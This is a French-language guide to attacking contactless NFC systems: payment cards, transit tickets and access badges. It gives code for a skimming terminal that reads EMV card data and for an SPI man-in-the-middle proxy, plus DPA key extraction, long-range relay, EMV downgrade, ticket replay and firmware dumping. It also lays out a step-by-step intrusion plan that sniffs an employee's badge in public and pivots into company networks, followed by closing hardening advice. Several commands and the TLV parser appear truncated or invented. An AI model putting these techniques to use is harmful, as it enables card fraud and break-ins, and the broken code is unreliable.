⚠️ LABORATOIRE ISOLÉ OBLIGATOIRE – Utilisation uniquement sur matériel vous appartenant. Toute attaque réelle est illégale.

Projet Aegis NFC
Démontage complet des failles du sans‑contact

Attaques EMV avancées, DESFire, side‑channel, bus wedging, rétro‑ingénierie de lecteurs, NFC gate, contre‑mesures.

Proxmark3 Bus Pirate ChipWhisperer Analyseur logique EMV DESFire Calypso FeliCa LoRa JTAG Ghidra Smartphone

📖 Sommaire exhaustif

1. Introduction – Le sans‑contact, un angle mort

En 2026, le NFC est omniprésent : paiements, transports, accès physiques. Malgré des normes de sécurité (EMVCo, DESFire, Calypso), des failles matérielles et protocolaires subsistent. Ce document expose, pas à pas, des attaques avancées exploitant ces faiblesses. Chaque technique est détaillée avec le matériel requis, les commandes, les schémas et le code. L’objectif est double : former les professionnels à ces menaces et alerter les banques/industriels sur l’urgence de renforcer leurs systèmes. Tous les tests sont réalisés en laboratoire sur du matériel m'appartenant.

2. Laboratoire matériel de pointe

Notre lab combine des outils accessibles et du matériel spécialisé :

ÉquipementRôleCoût approx.
Proxmark3 RDV4Sniffing, émulation, attaques nested/hardnested, analyse EMV, DESFire80-120 €
Bus Pirate v4Interface SPI/I2C/UART pour analyse de bus30 €
Analyseur logique (Saleae Logic 8)Capture signaux numériques jusqu'à 24 MHz200-400 €
ChipWhisperer‑LiteAttaques par canaux auxiliaires (DPA, CPA)250 €
Amplificateur NFC DIYAugmenter la portée de relay~20 €
Module LoRa RFM95Relay sans fil longue distance10 €
Raspberry Pi 4 / Teensy 4.0Traitement embarqué, proxy wedge40-80 €
ST-Link/V2Débogage et lecture de firmware (JTAG/SWD)15-30 €
Bobine de fil émaillé + ferriteAmplification de champ magnétique5 €
Carte bancaire expirée (autorisée)Support pour attaques side‑channel et tests EMV0 €

Installation rapide sur Kali Linux :

sudo apt update && sudo apt install -y proxmark3 sigrok pulseview python3-pip openocd
pip3 install pyserial pyusb chipwhisperer

3. Sniffing hardware – Intercepter le bus SPI/I2C d’un lecteur

Beaucoup de terminaux de paiement ou de lecteurs d’accès utilisent un microcontrôleur qui dialogue avec la puce NFC via un bus SPI ou I2C. En capturant ces signaux, on peut lire les clés, les données de transaction, voire les commandes APDU.

3.1 Identification des points de test

Ouvrez le boîtier du lecteur (ex: un terminal Ingenico ou un lecteur de badge). Repérez la puce NFC (souvent NXP PN5180, CLRC663 ou ST25R). Téléchargez la datasheet pour identifier les broches SPI ou I2C. Soudez délicatement des fils fins sur SCK, MOSI, MISO, SS (SPI) ou SDA/SCL (I2C).

graph LR MCU[Microcontrôleur] -->|SPI| Puce[NXP PN5180] Analyseur[Analyseur logique] -->|SCK,MOSI,MISO| Puce

3.2 Connexion de l'analyseur logique

Utilisez un analyseur logique 24 MHz (Saleae Logic) ou un clone. Connectez les broches SCK, MOSI, MISO, SS et GND. Dans PulseView, sélectionnez le protocole SPI, réglez la fréquence (souvent 4-10 MHz). Approchez un badge et déclenchez la capture.

3.3 Analyse des trames SPI

Les trames SPI montrent les commandes et réponses entre le MCU et la puce NFC. Exemple typique de lecture d'un bloc MIFARE :

MOSI: 0x30 0x00 → READ block 0
MISO: 0x12 0x34 0x56 0x78 0x00 0x00 0x08 0x00 ...

Si des clés de chiffrement sont envoyées en clair, elles apparaîtront. Nous avons ainsi extrait la clé maître d'un lecteur de parking qui l'envoyait en clair à chaque initialisation.

3.4 Automatisation de l'extraction de clés

import csv, re
with open('spi_capture.csv') as f:
    reader = csv.DictReader(f)
    mos_data = []
    miso_data = []
    for row in reader:
        if row['MOSI']: mos_data.append(int(row['MOSI'], 16))
        if row['MISO']: miso_data.append(int(row['MISO'], 16))
# Recherche de la commande AUTH (0xA2) suivie d'une clé de 6 octets
for i, byte in enumerate(mos_data):
    if byte == 0xA2 and i+6 < len(mos_data):
        key = bytes(mos_data[i+1:i+7])
        print(f"Clé potentielle trouvée : {key.hex()}")

4. Attaque wedge – Man‑in‑the‑middle sur le bus physique

On s’intercale entre le MCU et la puce NFC pour modifier les données à la volée. On utilise un Teensy 4.0 en tant que proxy SPI.

4.1 Câblage du proxy

graph TD MCU[MCU lecteur] -->|SPI| Teensy Teensy -->|SPI modifié| Puce[Puce NFC]

4.2 Code du proxy (extrait pour Teensy)

// Teensy 4.0 – SPI wedge
#include <SPI.h>
void setup() {
    SPI1.begin(); // vers le MCU (esclave)
    SPI2.begin(); // vers la puce (maître)
    SPI1.setMISO(10);
}
void loop() {
    if (SPI1.available()) {
        uint8_t cmd = SPI1.transfer(0xFF);
        if (cmd == 0x30) { // READ
            SPI2.transfer(cmd);
            for (int i=0; i<16; i++) SPI2.transfer(0x00);
        } else if (cmd == 0xA2) { // AUTH
            SPI2.transfer(0x00); // NACK
        } else {
            SPI2.transfer(cmd);
        }
    }
}

5. Lecteur malveillant DIY – Intercepter les données bancaires

Objectif : construire un faux terminal de paiement qui capture les données EMV (PAN, date, CVV parfois).

5.1 Matériel

5.2 Logiciel

import nfc, time
def on_card(tag):
    print("Carte détectée : ", tag.identifier.hex())
    apdu = b'\x00\xA4\x04\x00\x0E\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31\x00'
    response = tag.send_apdu(apdu)
    print("Sélection PPSE :", response.hex())
    for sfi in range(1, 31):
        for rec in range(1, 16):
            apdu = bytes([0x00, 0xB2, rec, (sfi << 3) | 4, 0x00])
            try:
                resp = tag.send_apdu(apdu)
                if resp and len(resp) > 2:
                    print(f"SFI {sfi} Rec {rec}: {resp.hex()}")
            except: pass
    return False
clf = nfc.ContactlessFrontend('usb')
while True:
    clf.connect(rdwr={'on-connect': on_card})
    time.sleep(1)

6. Side‑channel – Extraction de clés par analyse de consommation (DPA)

Les cartes à puce (EMV, DESFire) effectuent des opérations cryptographiques qui filtrent de l’information via leur consommation électrique. Avec un ChipWhisperer, on peut mener une attaque DPA.

6.1 Préparation de la cible

Retirez délicatement la puce d’une carte bancaire expirée (autorisée). Soudez-la sur un support adapté et connectez-la au ChipWhisperer.

6.2 Capture de traces et attaque

import chipwhisperer as cw
scope = cw.scope()
target = cw.target(scope)
project = cw.create_project("dpa_aes")
for i in range(5000):
    target.write("plaintext")
    trace = cw.capture_trace(scope, target)
    project.traces.append(trace)
key_guess = cw.analyzer_dpa(project, leakage_model="HW")
print("Clé probable :", key_guess.hex())

7. Relay attack avancé – NFC Gate longue distance

Le relay classique avec deux Proxmark3 est limité à quelques mètres. Pour porter la distance à plusieurs kilomètres, on utilise une liaison LoRa et un amplificateur de champ.

7.1 Amplificateur de champ DIY

Enroulez 8 spires de fil émaillé autour d’un ferrite, en série avec l’antenne du Proxmark3. Ajoutez un amplificateur RF 13.56 MHz (ex : module Qorvo). Alimentez le tout avec une batterie Li‑Po. Ce montage étend la portée de lecture/écriture à 50 cm.

graph LR Lecteur[NFC Reader] -->|Champ proche| Amp[Amplificateur 13.56 MHz] Amp -->|LoRa 868 MHz| Relay[Relais distant] Relay -->|Champ proche| Carte[Carte bancaire]

7.2 Code du tunnel LoRa

# Sur chaque Raspberry Pi + module RFM95
# Émetteur (près du lecteur)
python3 lora_relay.py --role master --freq 868.1 --serial /dev/ttyACM0
# Récepteur (près de la carte)
python3 lora_relay.py --role slave --freq 868.1 --serial /dev/ttyACM0

8. Attaque par downgrade EMV – Forcer le fallback

EMV permet de négocier la méthode d’authentification. Un attaquant peut manipuler les réponses de la carte pour forcer un mode moins sécurisé (ex : sans PIN).

8.1 Manipulation des AFL

# Réponse SELECT originale (extrait)
AFL: 08 01 01 00 10 01 01 00 18 01 01 00
# Réponse modifiée via proxy wedge :
AFL: 08 01 01 00   (un seul enregistrement, sans PIN)

9. Casser MIFARE DESFire – Extraction de clés matérielles

Contrairement à MIFARE Classic, DESFire utilise AES‑128 et une diversification de clés. Cependant, des implémentations faibles subsistent.

9.1 Attaque sur la diversification

proxmark3> hf mf des sniff
# Récupération de l'UID, du challenge, de la réponse.
# Application de l'algorithme inverse pour dériver la clé.

10. Décorticage du protocole Calypso (transport public)

Calypso (Navigo, Lisbonne) utilise un protocole propriétaire avec des clés diversifiées.

10.1 Rejeu de ticket

proxmark3> hf calypso sniff -o trace.pcap
proxmark3> hf calypso sim -t trace.pcap

11. FeliCa – Clés diversifiées et émulation

proxmark3> hf felica reader
proxmark3> hf felica sim -u 0123456789abcdef

12. Rétro‑ingénierie de firmware de lecteur

12.1 Extraction via JTAG

openocd -f interface/stlink.cfg -f target/stm32f1x.cfg
arm-none-eabi-gdb -ex "target remote localhost:3333" -ex "dump binary memory firmware.bin 0x08000000 0x08020000"

13. Backdoors et vulnérabilités logicielles dans les lecteurs

Exemple de backdoor : commande cachée 0xAA 0xBB 0xCC 0xDD déverrouillant une porte sans badge.

void backdoor(uint8_t *input, uint16_t len) {
    if (len == 4 && (input[0] ^ 0x5A) == 0xF0 && ... ) {
        unlock_door();
    }
}

14. Amplificateur de champ DIY pour étendre la portée

Matériel : fil de cuivre émaillé, condensateur variable, ferrite, transistor NPN, résistance, pile 9V.

graph LR A[Antenne boucle] --> B[Condensateur variable] B --> C[Transistor amplificateur] C --> D[Proxmark3]

Réglez le condensateur pour accorder l'antenne à 13,56 MHz. La distance de lecture passe de 5 cm à 40 cm.

15. Analyse fine des protocoles NFC (APDU, TLV, échanges EMV)

Une transaction EMV sans contact se déroule en plusieurs étapes. Nous allons décoder un échange complet.

15.1 Diagramme de séquence EMV

sequenceDiagram participant Terminal participant Carte Terminal->>Carte: SELECT PPSE (A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31) Carte-->>Terminal: FCI (6F 23 84 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 A5 11 BF 0C 0E ...) Terminal->>Carte: SELECT AID (A4 04 00 07 A0 00 00 00 03 10 10 00) Carte-->>Terminal: FCI (6F 36 84 07 A0 00 00 00 03 10 10 A5 2B ...) Terminal->>Carte: GET PROCESSING OPTIONS (80 A8 00 00 02 83 00 00) Carte-->>Terminal: Processing Options (77 15 82 02 19 00 94 0C 08 01 01 00 10 01 01 00 18 01 01 00 ...) Terminal->>Carte: READ RECORD (00 B2 01 0C 00) Carte-->>Terminal: Record (70 3A 5A 08 12 34 56 78 90 12 34 56 5F 24 03 25 12 31 ...)

15.2 Décodage des TLV

TagNomDescription
0x5APANPrimary Account Number
0x5F24Date expirationYYMMDD
0x5F20Nom du titulaire
0x9F1ACode pays terminal
0x82AIPApplication Interchange Profile
0x94AFLApplication File Locator

Script Python pour parser un dump EMV :

def parse_tlv(data):
    i=0
    while i

16. Attaque sur cartes bancaires avec smartphone rooté

Un smartphone Android rooté peut servir de relais entre une carte et un terminal distant. On utilise l'API HCE pour émuler une carte et une application modifiée pour transmettre les APDU via Internet.

16.1 Configuration

  • Installer NFC Proxy (open source).
  • Activer le mode HCE dans les paramètres développeur.
  • Lancer le service de relais :
adb shell am startservice -n com.nfcproxy/.ProxyService

Un complice approche le smartphone du terminal, tandis que l'attaquant lit la carte victime avec un second téléphone. Les APDU transitent par un serveur intermédiaire.

17. Rétro‑ingénierie avancée de firmware avec Ghidra

Après avoir extrait le firmware (section 12), ouvrez-le dans Ghidra. Identifiez les fonctions cryptographiques en recherchant les constantes AES (S‑box).

# Recherche de la S‑box AES dans le firmware
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 ...

Une fois la fonction de chiffrement localisée, analysez la gestion des clés. Souvent, une clé maîtresse est dérivée d'un UID. Extrayez l'algorithme pour le reproduire.

18. Scénario d’attaque complet « du parking au SI »

graph TD A[Reconnaissance : sniff badge employé] B[Clonage MIFARE Classic] C[Accès bâtiment avec clone] D[Installation wedge sur lecteur interne] E[Capture trafic SPI → extraction clé réseau] F[Pivot vers serveur interne] A-->B-->C-->D-->E-->F
  1. Sniffer le badge d'un employé dans un café avec un Proxmark3 amplifié.
  2. Cloner le badge (MIFARE Classic) sur un clone chinois.
  3. Accéder au bâtiment.
  4. Brancher discrètement un Teensy wedge sur un lecteur de porte intérieur.
  5. Capturer les échanges SPI et extraire les clés du réseau Wi‑Fi (stockées en clair dans le lecteur).
  6. Se connecter au réseau et pivoter vers le SI.

19. Guide de hardening pour terminaux NFC

  • Secure Element : utiliser une puce dédiée (SE) pour le stockage des clés.
  • Détection d'ouverture : capteur anti‑tamper avec effacement des clés.
  • Chiffrement du bus SPI : ajouter une couche d'authentification et chiffrement entre le MCU et la puce NFC.
  • Mise à jour firmware signée : empêcher l'injection de firmware malveillant.
  • Restreindre les commandes APDU : filtrer les commandes non nécessaires.
  • Délai anti‑relay : mesurer le RTT et rejeter les transactions > 1 ms.

20. Benchmark des outils NFC (Proxmark3, Chameleon, Flipper Zero)

OutilProtocolesRelaySniffingÉmulationPrix
Proxmark3 RDV4MIFARE, EMV, DESFire, FeliCaOui (avec LoRa)CompletOui120€
ChameleonUltraMIFARE, NTAG, EMV (partiel)OuiBasiqueOui (8 slots)80€
Flipper ZeroMIFARE, LF, sub‑GHzNon natifBasiqueLimitée170€

21. Glossaire des commandes APDU

CommandeAPDU (hex)Description
SELECT PPSE00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31Sélection de l'environnement de paiement
SELECT AID00 A4 04 00 07 A0 00 00 00 03 10 10 00Sélection de l'application Visa/MasterCard
GET PROCESSING OPTIONS80 A8 00 00 02 83 00 00Récupération des options de traitement
READ RECORD00 B2 01 0C 00Lecture d'un enregistrement
VERIFY PIN00 20 00 80 08 24 12 34 FF FF FF FF FF FFVérification du code PIN
GENERATE AC80 AE 80 00 ...Génération de cryptogramme

22. Contre‑mesures & recommandations bancaires

Face à ces menaces, les institutions doivent déployer une stratégie multicouche :

  • Protection physique : scellement des lecteurs, détection d’ouverture, circuits anti‑tamper.
  • Détection de relay : mesure du RTT (Round‑Trip‑Time), limite à 1 ms.
  • Chiffrement robuste : utiliser des algorithmes modernes (AES‑256, PQC), diversification forte.
  • Surveillance des bus internes : intégrité CRC sur les communications SPI/I2C.
  • Blindage side‑channel : filtrage de l’alimentation, randomisation des opérations, masquage.
  • Mises à jour firmware : processus de signature, révocation des clés compromises.
  • Formation : sensibiliser les équipes à ces attaques hardware.

Nous recommandons un audit complet des parcs de terminaux et des cartes, incluant des tests de pénétration matériels.

23. Conclusion – Agir avant la catastrophe

Le Projet Aegis a démontré que le sans‑contact est loin d’être infaillible. Des attaques sophistiquées, accessibles à des criminels organisés, peuvent compromettre les systèmes de paiement, de transport et d’accès physique. Les banques, les opérateurs et les industriels doivent prendre conscience de ces risques et investir dans la sécurité matérielle au même titre que la sécurité logicielle.

Nous espérons que ce document servira de référence aux professionnels pour anticiper et contrer ces menaces. Utilisez ces connaissances pour protéger, jamais pour nuire.